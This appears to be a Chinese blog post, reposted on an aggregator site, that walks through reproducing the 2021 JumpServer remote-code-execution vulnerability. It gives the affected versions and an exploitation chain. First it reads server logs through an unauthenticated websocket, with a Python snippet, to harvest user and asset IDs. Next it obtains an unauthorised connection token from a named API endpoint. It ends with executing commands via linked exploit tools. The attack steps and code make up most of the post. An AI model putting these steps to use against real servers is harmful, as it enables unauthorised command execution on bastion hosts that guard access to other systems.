JumpServer RCE漏洞复现

本文主要复现2021年1月出现的JumpSever的RCE漏洞

1.漏洞范围

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

2.漏洞分析

2.1原理简介:

由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求从日志文件获取敏感信息,通过执行相关API操作执行任意命令。

2.2 影响接口

根据官方通告,以下两个接口受得影响:

ps:具体漏洞调用链可以参考这位大佬的分析(https://zhuanlan.zhihu.com/p/375135821),本文主要讲具体如何利用的内容分析。

2.3 利用流程

整个漏洞的利用过程如下:

  1. 读取log日志获取参数(user、asset、system_user)
  2. 使用apps/authentication/api/auth.py 获取token
  3. 通过上文提到的2个接口执行命令

3.漏洞复现

3.1 读取log日志来获取参数

这一步是需要使用websocket来发送参数到/ws/ops/tasks/log/ url下,然后发送{"task":"/opt/jumpserver/logs/gunicorn"}获得

注:这里的/opt/jumpserver/是常用的jumpserver安装路径,实际操作时需要根据情况进行修改。所以如果目标在影响范围内却无法正常读取日志,可能是发送参数的路径错误了,并非漏洞不存在

这里有2种方法可以读取日志

3.1.1 通过浏览器插件获取参数

火狐浏览器下可以安装 Simple WebSocket Client 插件来发送websocket连接。


日志中的

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=()&cache_policy=1&system_user_id=()&user_id=()

参数即为目标

3.1.2 通过python获取参数

github上有现成的利用工具:https://github.com/Veraxy00/Jumpserver-EXP

这个脚本可以直接获取到执行命令的权限,但在实际测试中发现该脚本存在问题,但我们仍然可以通过修改代码的方式来获取日志

    print("===========Start read logs===========")
    log=''
    async with websockets.connect(tar) as client:
        await client.send(json.dumps({"task": "/opt/jumpserver/logs/gunicorn"}))
        while True:
            try:
                ret = json.loads(await client.recv())
                log += ret["message"]
                print("Reading...")
                re_result = set(re.compile('/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ').findall(log))

此处代码中的re_result即为读取的结果,可以通过print的方式输出读取到的参数内容,如果日志过长可能会增加读取的时间。


3.2 获取未授权token

这个步骤主要是通过jumpserver的koko组件来实现。

构造

这一步是需要POST到 /api/v1/authentication/connection-token/?user-only=None

POST数据为:

{"user":"",

"asset":"",

"system-user"""

}

这里需要填入第一步获取的参数,即可获取有效token(该token有效期20s,因此必须在20s内建立连接)

3.3执行命令

这里推荐工具https://github.com/Skactor/jumpserver_rce

其中rce.py即是我们需要的脚本,将第一步获取的参数带入脚本。执行即可,具体操作可以查看项目简介。

注:如果想要通过手动构造ws请求的方式来执行命令,可以参考https://blog.csdn.net/qq_32261191/article/details/113078759 来复现。

到这里复现就结束了。

展开阅读全文

页面更新:2024-05-12

标签:大佬   漏洞   脚本   路径   接口   命令   参数   方式   内容   日志

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号

Top